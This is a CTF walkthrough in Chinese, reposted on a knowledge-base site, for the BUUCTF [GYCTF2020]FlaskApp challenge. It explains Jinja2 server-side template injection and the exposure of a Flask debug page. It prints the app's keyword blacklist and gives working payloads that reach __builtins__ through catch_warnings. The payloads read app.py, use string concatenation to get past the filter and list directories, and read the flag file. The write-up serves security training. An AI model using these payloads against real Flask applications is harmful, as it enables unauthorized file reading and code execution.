IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> web buuctf [GYCTF2020]FlaskApp -> 正文阅读

[Python知识库]web buuctf [GYCTF2020]FlaskApp

知识点:1.flask的debug模式漏洞

? ? ? ? ? ? ? 2.flask字符拼接漏洞

1.开题

2.提示flask了,那不得不试一试SSTI

在加密内输入{{7*7}} ,生成base64码e3s3Kjd9fcKg; 将e3s3Kjd9fcKg输入到解码框内,显示no no no说明存在防御

换一个输入{{7+7}},base64码为e3s3Kzd9fQ==,解码后,显示的是14

综上存在SSTI

3.看提示页面,没啥东西,在解密页面(因为解密存在SSTI)再随便输入些字母,看到报错信息,网站打开了flask的debug模式,在debug页面中我们可以看到后台的路径和源码信息

有文件的名字,路径,出错的方法名等信息

我们查看一下decode方法

?render_template属于jinja2的模板函数。render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

可参考学习:Python-模板注入_jinqipiaopiao的博客-CSDN博客

4.关于jinja2

关于Flask SSTI,解锁你不知道的新姿势 - SecPulse.COM | 安全脉搏

需要用到的知识:

jinja2一共三种语法:
控制结构?{%?%}
变量取值?{{?}}
注释?{#?#}

jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。

__class__?????????返回调用的参数类型
__bases__?????????返回基类列表
__mro__???????????此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()??返回子类的列表
__globals__???????以字典的形式返回函数所在的全局命名空间所定义的全局变  量?与?func_globals?等价
__builtins__??????内建模块的引用,在任何地方都是可见的(包括全局),每个?Python?脚本都会自动加载,这个模块包括了很多强大的?built-in?函数,例如eval,?exec,?open等等

看到源码里面有waf绕过,我们看一下文件的源码

{% for c in [].__class__.__base__.__subclasses__() %}
   {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
   {% endif %}
{% endfor %}

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

先加密,再扔到解密里,

?关于waf的代码如下:

def waf(str):
      black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
  for x in black_list :
      if x in str.lower() :
      return 1

过滤了flag,os,system,popen,eval等

不过这倒不同担心,这个有一个典型的漏洞,就是字符串拼接漏洞

?先查看一下当前的目录

for c in __class__.__base__.__subclass__()
    if c.__name__ = 'catch_warnings'
       c.__init__.__globals__.['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')
    end if
end for

整理后payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

解得:

同样得,构造payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

?解得:

?flag{8d29f4dc-292a-4ff3-ac98-285d0a396a8e}

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-04-14 23:50:39  更:2022-04-14 23:53:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 17:53:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码